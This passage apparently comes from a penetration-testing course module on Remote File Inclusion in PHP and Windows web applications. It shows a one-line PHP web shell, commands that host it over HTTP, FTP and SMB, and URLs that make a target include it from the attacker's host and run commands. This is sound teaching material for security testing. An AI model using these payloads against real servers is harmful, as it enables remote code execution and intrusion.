In some cases, we may also be able to include remote files “Remote File Inclusion (RFI)”, if the vulnerable function allows the inclusion of remote URLs. This allows two main benefits:
- Enumerating local-only ports and web applications (i.e. SSRF)
- Gaining remote code execution by including a malicious script that we host
In this section, we will cover how to gain remote code execution through RFI vulnerabilities. The Server-side Attacks module covers various SSRF techniques, which may also be used with RFI vulnerabilities.
Local vs. Remote File Inclusion
| Function | Read Content | Execute | Remote URL |
|---|---|---|---|
| PHP | |||
include()/include_once() | ✅ | ✅ | ✅ |
file_get_contents() | ✅ | ❌ | ✅ |
| Java | |||
import | ✅ | ✅ | ✅ |
| .NET | |||
@Html.RemotePartial() | ✅ | ❌ | ✅ |
include | ✅ | ✅ | ✅ |
Almost any RFI vulnerability is also an LFI vulnerability, as any function that allows including remote URLs usually also allows including local ones. However, an LFI may not necessarily be an RFI. This is primarily because of three reasons:
- The vulnerable function may not allow including remote URLs
- You may only control a portion of the filename and not the entire protocol wrapper (ex:
http://,ftp://,https://). - The configuration may prevent RFI altogether, as most modern web servers disable including remote files by default.
Verify RFI
In most languages, including remote URLs is considered as a dangerous practice as it may allow for such vulnerabilities. This is why remote URL inclusion is usually disabled by default. For example, any remote URL inclusion in PHP would require the allow_url_include setting to be enabled. We can check whether this setting is enabled through LFI, as we did in the previous section:
However, this may not always be reliable, as even if this setting is enabled, the vulnerable function may not allow remote URL inclusion to begin with. So, a more reliable way to determine whether an LFI vulnerability is also vulnerable to RFI is to try and include a URL, and see if we can get its content. At first, we should always start by trying to include a local URL to ensure our attempt does not get blocked by a firewall or other security measures. So, let’s use (http://127.0.0.1:80/index.php) as our input string and see if it gets included:
http://<SERVER_IP>:<PORT>/index.php?language=http://127.0.0.1:80/index.phpIt may not be ideal to include the vulnerable page itself (i.e. index.php), as this may cause a recursive inclusion loop and cause a DoS to the back-end server.
Remote Code Execution with RFI
echo '<?php system($_GET["cmd"]); ?>' > shell.phpNow, all we need to do is host this script and include it through the RFI vulnerability. It is a good idea to listen on a common HTTP port like 80 or 443, as these ports may be whitelisted in case the vulnerable web application has a firewall preventing outgoing connections. Furthermore, we may host the script through an FTP service or an SMB service, as we will see nex
sudo python3 -m http.server <LISTENING_PORT>We can examine the connection on our machine to ensure the request is being sent as we specified it. For example, if we saw an extra extension (.php) was appended to the request, then we can omit it from our payload
sudo python -m pyftpdlib -p 21curl 'http://<SERVER_IP>:<PORT>/index.php?language=ftp://user:pass@localhost/shell.php&cmd=id'SMB
If the vulnerable web application is hosted on a Windows server (which we can tell from the server version in the HTTP response headers), then we do not need the allow_url_include setting to be enabled for RFI exploitation, as we can utilize the SMB protocol for the remote file inclusion.
This is because Windows treats files on remote SMB servers as normal files, which can be referenced directly with a UNC path.
impacket-smbserver -smb2support share $(pwd)http://<SERVER_IP>:<PORT>/index.php?language=\\<OUR_IP>\share\shell.php&cmd=whoami